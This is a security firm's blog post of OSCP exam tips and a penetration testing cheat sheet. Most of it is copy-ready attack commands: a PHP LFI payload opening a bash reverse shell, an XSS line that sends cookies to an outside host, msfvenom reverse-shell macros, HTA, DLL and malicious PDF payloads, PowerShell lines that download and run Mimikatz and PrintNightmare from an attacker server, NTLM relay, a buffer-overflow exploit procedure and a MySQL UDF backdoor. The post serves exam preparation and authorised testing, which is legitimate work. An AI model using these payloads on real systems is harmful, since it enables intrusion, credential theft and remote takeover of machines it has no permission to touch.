OSCP PEN-200 certification icon

→ Enumerate using thorough scans, do not overlook even the tiniest detail.

→ Go breadth first, always.

→ It's ok to fall in rabbit holes, proceed by elimination.

→ If you already are a skilled professional, it's ok to find some of the lab boxes hard. In fact, a few of them rely more on CTF style riddles than actual penetration testing logic.

→ Do not underestimate the power of morale during the exam. Sugar, tea, coffee, sleep, r00t (going for low hanging fruits will boost your confidence).

→ Run everything that can run in the background as soon as you can so it runs while you test manually (e.g. scans, bruteforces, user interaction traps).

Part 1: Essential Tools

Kali

But really any distro with the right tools is fine too.

CopyQ

https://hluk.github.io/CopyQ/

Particularly powerful when typing in a shell that doesn't support the same keyboard layout (looking at you RDP), or doesn't allow you to delete characters, or move in strings. You can prepare your commands in a buffer and send them when they are ready.

Proxy plugin

Container Proxy Firefox plugin
Container Proxy: proxy only specific tabs

clipip.sh tool

Bash
#!/bin/bash

o=$(xclip -o |tr -d '\n')
ip -f inet addr show tun0 | awk '/inet / {print $2}'|cut -d '/' -f1|tr -d '\n'|xclip -selection c
# You can replace tun0 with any interface (eth0, wlan0...)
sleep 0.1
xdotool key ctrl+v
echo -n $o|xclip -selection c

Enable CTRL+V in alacritty:

YAML
key_bindings:
  - { key: V, mods: Control, action: Paste }

Add shortcut in i3 config:

Bash
bindsym --release $mod+Shift+i exec <path to clipip.sh>

Once that is done, you can press Alt+Shift+i in pretty much any buffer, and that will paste your IP. Pretty useful during the OSCP, as the VPN's outgoing IP can change.

Part 2: General Methodology

I can't emphasize this enough: breadth first. Always. I've found myself digging into rabbit holes more times than I can count. And being as stubborn as a donkey, I have spent entire days working on pointless exploits, when a simple searchsploit -m on another port I had already scanned would instantly give me an initial foothold.

Breadth-first vs depth-first approach
Always go breadth first

The idea is:

  • Note everything that comes to your mind when discovering the challenge (names, ports, services — nothing is done randomly and a lot of those are actual hints)
  • Scan everything
  • Google every known protocol or port and version identified (you might find very easily exploitable processes)
  • Once you are certain you have covered everything that's open, start digging more deeply
  • Follow your intuition and try the leads you thought were the best ones initially
  • If or once you have proven your intuition wrong, proceed by elimination and go through all potential leads one by one

Part 3: Information Gathering

Ping Sweep

Bash
#! /bin/bash
for ip in $(seq 1 256); do
  fping -c 1 -t 500 $1.$ip 2>&1 |grep max|cut -d ':' -f1|tr -d ' '
done

3 steps (4 if UDP) scanning process

Of course you could use Nmap automator, but if you want to do things manually:

Bash
# Get all ports
nmap -p- -T5 -Pn <IP> | grep open | awk '{print $1}' | cut -d '/' -f1 | tr '\n' ','

This should give you a nmap-ready list of ports like 80,443,3389,10069.

Bash
# Fingerprinting scan
sudo nmap -p <port list> -T5 -A -R -O <IP> -Pn

Although it might be a bit redundant with the next step, it is much quicker, and will give you something to work on while the last scan runs.

Bash
# Script scan
nmap -p <port list> -T5 -sV --version-all --script default,auth,brute,discovery,vuln <IP> -Pn

This one is not very subtle, but it will find a lot of interesting information, at no cost. You might find things like:

  • FTP authentication (very often anonymous)
  • HTTP folders and files
  • SMB user names and local information
  • Known exploits (not very accurate but it has worked a few times in the lab)

If you haven't found anything, proceed to scan for UDP ports:

Bash
nmap -T5 -sU --top-ports 10000 <IP>

Note: I use T5 pretty much every time, but if you start receiving RTTVAR has grown to over 2.3 seconds then try with lower values (T4/T3).

Common enumerations and vulnerability checks

If you encounter Linux with OpenSSH < 7.7, I highly recommend using SSH user oracle (CVE-2018-15473), as it could give you existing system users for bruteforce or spraying:

Bash
python ssh-username-enum.py <IP> -w <wordlist>
SSH username enumeration results
SSH user enumeration via CVE-2018-15473

Also, do not forget to complete the wordlists with credentials you find. Some might be reused — boxes have dependencies.

When discovering Windows hosts, check for SMB exploits:

Bash
nmap -T5 -sV --script 'smb-vuln*' <IP>

This covers cve-2017-7494, ms06-025, ms07-029, ms08-067, ms10-054, ms10-061, ms17-010, and more.

And Bluekeep (CVE-2019-0708) using rdpscan:

Bash
./rdpscan <ip>
RDP scan results showing Bluekeep vulnerability
Bluekeep detection with rdpscan

Lastly, always check for SMB shares, as it is sometimes possible to mount them without credentials:

Bash
crackmapexec smb <IP> -u '' -p '' --shares

Scanning through tunnels

I highly recommend using naabu and chisel.

Socks proxy

Bash
# Run on your machine, will open port 443
chisel server -p 443 --reverse --socks5
# Run on tunneling server, will open 1080 on your local machine once connected
chisel client 192.168.119.248:443 R:socks

Then run a port scan using naabu:

Bash
naabu -rate 500 -c 10 -s connect -p - -host 10.X.X.X -proxy 127.0.0.1:1080

Naabu is generally much faster than nmap for simple port scans. Anyone who has used proxychains nmap knows how slow a simple scan can get.

Port forward

If you intend to bypass localhost whitelisting (usually for MySQL, phpMyAdmin, but also web interfaces):

Bash
# Run on your machine
chisel server -p 443 --reverse --socks5
# Open port 3306 on your local machine to proxy packets towards target
chisel client 192.168.119.248:443 R:3306:localhost:3306
Bash
mysql -u root -p<pass> -h 127.0.0.1

Part 3: Getting a shell

Using searchsploit, msfconsole search, and Google, you should have found a working exploit. Now get a shell using revshells.com!

Useful commands

1. Exfiltrate binary data embedded in HTML tags

Bash
wget -qO- 'http://X.X.X.X/vulnpage?vulparam=..\..\..%5cWINDOWS%5cRepair%5cSAM%00en' \
  | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' > SAM

2. PHP LFI, but no file gets executed?

PHP
data:text/plain,<?php passthru("bash -i >& /dev/tcp/X.X.X.X/4444 0>&1"); ?>

3. Bruteforce a web interface

Bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt X.X.X.X \
  http-post-form "/URL/Login:User=^USER^&password=^PASS^:F=<failure string>" -I

4. Having trouble connecting to RDP?

Bash
xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:rdp
# OR with different connect error:
xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:tls
# With files and clipboard:
xfreerdp +clipboard /u:user /p:'password' /v:X.X.X.X /d:domain /sec:rdp \
  /drive:<absolute path to local folder>,/

5. Get machine accounts' hashes

Bash
# Check for spooler service
rpcdump.py <IP> | grep MS-RPRN
# Coerce authentication
python dementor.py -u Guest -p '' <target> <responder>

You can also relay those hashes using ntlmrelayx:

Bash
# List machines with SMB
nmap -p139,445 -T5 <subnet>/24 -oG - | awk '/Up$/{print $2}' > smb.lst
# Shortlist IPs with spooler active
while read ip; do rpcdump.py $ip | grep -q MS-RPRN && echo $ip >> spooler.lst || :; done < smb.lst
# Generate targets without SMB signing
crackmapexec smb <subnet> --genrelay-list > targets.lst
# Start relay server
ntlmrelayx.py -l loot -smb2support -socks -tf targets.lst
# Force NetNTLMv2 authentication to your relay
while read ip; do python dementor.py -u user -p 'password' $ip <responder ip>; done < spooler.lst

6. Steal cookies via XSS

JavaScript
<script>document.write("<img src='http://<IP>'"+document.cookie+"');</script>

7. Check for terrible AD passwords (username = password)

Bash
crackmapexec smb <any ip in the domain> -u users.lst -p users.lst -d domain --no-bruteforce

8. Recursively download all FTP files

Bash
wget -r ftp://user:pass@serv

9. Bruteforce phpMyAdmin over a socks proxy

Bash
patator.py http_fuzz proxy_type=socks5 proxy=localhost:1080 \
  url=http://IP/index.php method=POST \
  body='pma_username=root&pma_password=FILE0&server=1&target=index.php&lang=en&token=' \
  0=/usr/share/wordlists/rockyou.txt before_urls=http://IP/index.php \
  accept_cookie=1 follow=1 -x ignore:fgrep='Access denied for user'

Buffer Overflow

1. Find the overflow

Just try with lots of characters until you get a crash, or a connection refused if you are remote.

2. Find the offset

Bash
msf-pattern_create -l <large number> -s abcdefghijklmnopqrstuvwxyz,ABCDEF,0123456789

I used a custom charset because I noticed that the string generated by msf-pattern_create did not always crash the target.

Pattern crash in debugger
EIP overwritten with pattern bytes

Once the crash has been provoked, get the EIP value and check for the offset:

Bash
msf-pattern_offset -l <same number> -s abcdefghijklmnopqrstuvwxyz,ABCDEF,0123456789 -q <hex string>
[+] Exact match at offset X

3. Confirm EIP control

Python
python -c 'print "A"*X+"B"*4'

Buffer overflows for the OSCP are always on 32-bit executables, so EIP will always contain 4 bytes. If your EIP register contains 42424242 at the time of the crash, you have a successful EIP rewrite.

4. Identify bad characters

Generate a list of chars:

Python
import sys
for i in range(1, 256):
    sys.stdout.write('\\x' + '{:02X}'.format(i))
Bad characters hex view
Bad characters file in hex view

Send it to the vulnerable process and compare with the memory using Burp Suite's comparer:

Burp Suite byte comparison for bad chars
Comparing expected vs actual bytes in Burp Suite's comparer

If the full list is not present in memory, the string was terminated early. Replace the faulting byte and resend:

Hex editing with tweak
Hex editing bad characters with tweak

With IDA: use the deREferencing plugin.

IDA with deREferencing plugin
IDA Free with deREferencing plugin
Starting debugger in IDA
Starting the debugger in IDA
Creating array from ESP in IDA
Creating an array of 255 characters from ESP
Exporting binary data from IDA
Exporting raw binary data with Shift+E

With GDB:

GDB
dump binary memory filtered.bin 0xfff0e278 0xfff0e377

Where the addresses should be replaced by esp and esp+0xFF.

5. Generate a shellcode

Bash
msfvenom -i 3 -n 10 -p windows/shell_reverse_tcp \
  -b '\x00\x0D\x0A\x20<bad chars>' -f hex \
  LHOST=<your ip> LPORT=<PORT> | sed 's/.\{2\}/\\x&/g'

The pattern \x00\x0D\x0A\x20 is a list of customary bytes known to break out of strings (line breaks, blanks, null bytes). It is safer to have false positives than false negatives.

6. Find a candidate to rewrite EIP

Find a pointer to a jmp esp instruction that does not contain any bad characters:

Bash
# Immunity
!mona jmp -r esp

# ROPgadget
ROPgadget.py --binary <file> | grep 'jmp esp'

Remember to write the address in little endian: 0x12345678 becomes \x78\x56\x34\x12.

7. Exploit

Python
python -c 'print "A"*X + <jmp esp address> + "\x90" * <size> + <shellcode>'

User Interaction

Some boxes can only be rooted using user interaction:

Bash
# VBA payload
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f vba -o macro.vba

# HTA payload
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta -o index.hta

# Malicious FoxIt PDF
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o giveyouup.exe
smbserver.py -smb2support -ip <IP> TMP .
python 49116.py \\<IP>\TMP\backdoor.exe letyoudown.pdf

Part 4: Post exploitation (privesc, AV bypass, loot)

Pretty much anything concerning privilege escalation is already covered in WinPEAS and LinPEAS. Here is a list of my own:

1. Reverse TCP scan — on which port can the target contact me?

Bash
sudo iptables -i tun0 -A PREROUTING -t nat -p tcp --dport 20:79 -j REDIRECT --to-port 8000
sudo iptables -i tun0 -A PREROUTING -t nat -p tcp --dport 81:6000 -j REDIRECT --to-port 8000
nc -nlvp 8000
PowerShell
powershell -ep bypass -nOp -c "iex (iwr http://IP/port-scan-tcp.ps1 -UseBasicParsing); `
  port-scan-tcp IP (21,22,23,53,80,139,389,443,445,636,1433,3128,8080,3389,5985);"

Reverse TCP port scan in bash on Linux:

Bash
export ip=<IP>; for port in $(seq 20 6000); do nc -zv -w1 $ip $port& done

2. AV bypass with Reflective PE injection

PowerShell
# Over SMB:
powershell -ep bypass -sta -nop -c "iex (iwr http://IP/empire.ps1 -UseBasicParsing); `
  $PEBytes = [IO.File]::ReadAllBytes('\\IP\\Share\\File'); `
  Invoke-ReflectivePEInjection -PEBytes $PEBytes"

# Over HTTP:
powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-ReflectivePEInjection.ps1.1 -UseBasicParsing); `
  Invoke-ReflectivePEInjection -PEURL http://IP/file.exe"

I use garble for Go obfuscation, but bear in mind that most obfuscation techniques will actually increase the suspiciousness of scripts and binaries.

3. No meterpreter getsystem and got SeLoadDriverPrivilege? Try Print Nightmare

Bash
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o revshell.dll
PowerShell
powershell -ep bypass -nop -c "iwr http://IP/revshell.dll -OutFile C:\WINDOWS\Temp\revshell.dll; `
  iex (iwr http://IP/Invoke-Nightmare.ps1 -UseBasicParsing); `
  Invoke-Nightmare -DLL C:\WINDOWS\Temp\revshell.dll"

4. Dump creds

PowerShell
# PowerDump
powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-PowerDump.ps1 -UseBasicParsing); Invoke-PowerDump"

# Mimikatz
powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-Mimikatz.ps1 -UseBasicParsing); `
  Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"sekurlsa::logonpasswords\" `
  \"lsadump::lsa /inject\" \"lsadump::sam\" \"exit\"'"

5. LaZagne on 32-bit

Pre-compiled: laz32.exe

6. Download files with PowerShell 2.0

PowerShell
$url = "http://IP/file.exe"
$path = "C:\WINDOWS\TEMP\file.exe"
if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) {
  $targetFile = Join-Path $pwd (Split-Path -leaf $path)
}
(New-Object Net.WebClient).DownloadFile($url, $path)

7. List open ports on Windows

PowerShell
# TCP
Get-NetTCPConnection -State Listen | select LocalAddress,LocalPort, `
  @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}
# UDP
Get-NetUDPEndpoint | select LocalAddress,LocalPort, `
  @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}

8. IDA Free on 32-bit Windows

https://www.scummvm.org/news/20180331/

9. Exploit a privileged MySQL process

SQL
-- exploit.sql
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('<run backdoor>');
Bash
mysql -u root -p<password> -h <target> < exploit.sql

10. Compile exploit for 32-bit Linux

Bash
gcc -m32 -march=i686 code.c -o exp -static

In case of glibc version errors: compile directly on the target if gcc is available, or use a Docker container with the same libc version.

11. Cross compile exploit for Windows

Bash
# 32 bits:
i686-w64-mingw32-g++-win32 exp.cpp -static -o exp
# 64 bits:
x86_64-w64-mingw32-g++ exp.cpp -static -o exp

12. Run a command in Meterpreter and see the output

Bash
execute -i -H -f "cmd"

13. "Command Prompt Has Been Disabled by Your Administrator"

Upload cmd-dll and run cmd.exe locally.

14. Compilation error with MS17-017 exploit

Edit line 450:

C
VOID xxCreateCmdLineProcess(VOID)
{
+    STARTUPINFOW si = { sizeof(si) };
-    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"yourexe.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE,
      CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
Bash
i686-w64-mingw32-g++-win32 44479.cpp -lgdi32 -lopengl32 -o lol.exe -static

15. Error with Invoke-Mimikatz.ps1 — "Ambiguous match found"

Replace:

PowerShell
# Before:
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')

# After:
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
  [reflection.bindingflags] "Public,Static", $null,
  [System.Reflection.CallingConventions]::Any,
  @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);

16. SMB Delivery for old targets with no modern download methods

Bash
msfconsole
use exploit/windows/smb/smb_delivery
set srvhost <IP>
exploit
CMD
rundll32.exe \\IP\vabFG\test.dll,0
Exploiting legacy systems
When the target runs Windows Server 2003...

17. Docker SUID or sudo

Bash
docker run -v /:/mnt -it ubuntu

Once the file system is mounted, you can read and write /etc/passwd and /etc/shadow. You can also add your public SSH key in /root/.ssh/authorized_keys.

18. Check which services you can start

CMD
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula

19. Statically compiled tools

20. Got SeImpersonate? Use Meterpreter incognito

Bash
load incognito
list tokens -u
impersonate_token <high privileges token>

If the token is on the domain, pivot to other targets using PowerShell:

PowerShell
$Computername = "<target>"
$Username = "<your account>"
$GroupName = "Administrators"
$DomainName = $env:USERDOMAIN
$Group = [ADSI]"WinNT://$ComputerName/$GroupName,group"
$User = [ADSI]"WinNT://$DomainName/$Username,user"
$Group.Add($User.Path)

Or try JuicyPotato!

21. Generate custom wordlists with rules

Bash
hashcat --force <wordlist> -r /usr/share/hashcat/rules/dive.rule --stdout >> out.wl
john --wordlist=<wordlist> --rules --stdout > out.wl

22. Struggling to get NT SYSTEM?

Remember, you have 1 shot at using Metasploit/Meterpreter, so use it wisely!

Using Metasploit wisely
Choose your Metasploit moment carefully

Conclusion

I definitely had a lot of fun on the lab and during the exam too. I was expecting the challenges to be too CTF-like and based on riddles rather than real-world scenarios, but it wasn't really the case. In the end I feel like the OSCP has probably gotten easier with the inclusion of the AD set. I do think it brings some realism, as ADs are generally quite easy to root.

If you have any questions or comments, do not hesitate to reach out.

Stay classy netsecurios!

References


August 2022 — Offensive Security PEN-200


← Back to articles

Need a security audit or tailored cybersecurity support?

Explore our services →